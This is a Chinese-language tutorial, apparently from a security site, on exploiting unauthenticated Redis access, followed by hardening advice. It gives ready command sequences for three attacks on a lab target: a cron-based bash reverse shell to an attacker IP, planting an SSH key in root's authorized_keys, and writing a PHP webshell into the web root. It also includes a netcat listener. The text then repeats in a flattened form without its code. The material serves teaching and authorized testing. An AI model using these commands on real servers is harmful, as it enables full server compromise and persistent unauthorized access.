Redis未授权访问漏洞利用总结
字数 1119 2025-08-29 08:31:47

Redis未授权访问漏洞利用与防御详解

0x01 Redis简介与漏洞概述

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的Key-Value数据库,并提供多种语言的API。从2010年3月15日起由VMware主持开发,2013年5月开始由Pivotal赞助。

漏洞本质:Redis因配置不当可以导致未授权访问。攻击者无需认证即可访问内部数据,可能导致:

  • 敏感信息泄露
  • 执行flushall清空所有数据
  • 通过EVAL执行lua代码
  • 通过数据备份功能往磁盘写入后门文件
  • 如果Redis以root身份运行,可以写入SSH公钥文件直接登录服务器

0x02 本地漏洞环境搭建

靶机环境

  • 操作系统:CentOS 6.5
  • Redis版本:3.2.0

安装步骤

  1. 下载并解压Redis:
wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar xzf redis-3.2.0.tar.gz
cd redis-3.2.0
make
  1. 修改配置文件允许远程访问:
vim redis.conf

修改内容:

  • 注释掉bind 127.0.0.1(前面加上#号)
  • 设置protected-mode no
  1. 启动Redis服务:
./src/redis-server redis.conf

默认危险配置

  • 使用6379端口
  • 无密码认证
  • 未授权访问

0x03 攻击测试方法

基本Redis命令

  1. 连接Redis:
redis-cli -h 目标IP
  1. 常用命令:
info                  # 查看Redis版本和服务器信息
set x "test"          # 设置键值
flushall              # 清空所有数据(危险!)
KEYS *                # 查看所有键
CONFIG GET dir        # 获取Redis目录
CONFIG GET dbfilename # 获取数据库文件名

攻击方法一:计划任务反弹Shell

前提条件:Redis以root权限运行

  1. 攻击机监听端口:
nc -lvnp 7999
  1. 通过Redis写入计划任务:
set x "\n*bash -i >& /dev/tcp/攻击机IP/7999 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

原理:利用crontab执行命令反弹shell到攻击机

攻击方法二:SSH公钥登录

前提条件

  • Redis服务使用ROOT账号启动
  • 服务器开放SSH服务且允许密钥登录
  1. 本地生成SSH密钥对:
ssh-keygen -t rsa
  1. 通过Redis写入公钥:
config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\n\nssh-rsa 公钥内容\n\n\n"
save
  1. 直接使用私钥登录SSH

攻击方法三:写入Webshell

前提条件

  • Redis权限不高但有web目录写权限
  • 服务器运行web服务
  1. 写入webshell:
config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php phpinfo();?>"
save

注意:web目录需根据实际情况调整

0x04 安全防护措施

  1. 网络层防护

    • 限制可连接Redis的IP(通过bind配置)
    • 设置防火墙规则
  2. 认证配置

    • 启用密码认证(requirepass配置项)
    • 使用强密码
  3. 服务配置

    • 修改默认端口(port配置项)
    • 以低权限用户运行Redis
    • 启用保护模式(protected-mode yes)
  4. 文件系统防护

    • 限制Redis的数据目录权限
    • 禁用危险命令(通过rename-command配置)
  5. 监控与日志

    • 启用Redis日志功能
    • 监控异常连接和操作

总结

Redis未授权访问漏洞危害严重,可导致服务器完全沦陷。管理员应严格按照最小权限原则配置Redis服务,及时更新补丁,并实施多层防御措施。渗透测试人员在进行授权测试时,可利用这些技术评估系统安全性,但务必遵守法律法规。

Redis未授权访问漏洞利用与防御详解 0x01 Redis简介与漏洞概述 Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的Key-Value数据库,并提供多种语言的API。从2010年3月15日起由VMware主持开发,2013年5月开始由Pivotal赞助。 漏洞本质 :Redis因配置不当可以导致未授权访问。攻击者无需认证即可访问内部数据,可能导致: 敏感信息泄露 执行flushall清空所有数据 通过EVAL执行lua代码 通过数据备份功能往磁盘写入后门文件 如果Redis以root身份运行,可以写入SSH公钥文件直接登录服务器 0x02 本地漏洞环境搭建 靶机环境 操作系统:CentOS 6.5 Redis版本:3.2.0 安装步骤 下载并解压Redis: 修改配置文件允许远程访问: 修改内容: 注释掉 bind 127.0.0.1 (前面加上#号) 设置 protected-mode no 启动Redis服务: 默认危险配置 : 使用6379端口 无密码认证 未授权访问 0x03 攻击测试方法 基本Redis命令 连接Redis: 常用命令: 攻击方法一:计划任务反弹Shell 前提条件 :Redis以root权限运行 攻击机监听端口: 通过Redis写入计划任务: 原理 :利用crontab执行命令反弹shell到攻击机 攻击方法二:SSH公钥登录 前提条件 : Redis服务使用ROOT账号启动 服务器开放SSH服务且允许密钥登录 本地生成SSH密钥对: 通过Redis写入公钥: 直接使用私钥登录SSH 攻击方法三:写入Webshell 前提条件 : Redis权限不高但有web目录写权限 服务器运行web服务 写入webshell: 注意 :web目录需根据实际情况调整 0x04 安全防护措施 网络层防护 : 限制可连接Redis的IP(通过bind配置) 设置防火墙规则 认证配置 : 启用密码认证(requirepass配置项) 使用强密码 服务配置 : 修改默认端口(port配置项) 以低权限用户运行Redis 启用保护模式(protected-mode yes) 文件系统防护 : 限制Redis的数据目录权限 禁用危险命令(通过rename-command配置) 监控与日志 : 启用Redis日志功能 监控异常连接和操作 总结 Redis未授权访问漏洞危害严重,可导致服务器完全沦陷。管理员应严格按照最小权限原则配置Redis服务,及时更新补丁,并实施多层防御措施。渗透测试人员在进行授权测试时,可利用这些技术评估系统安全性,但务必遵守法律法规。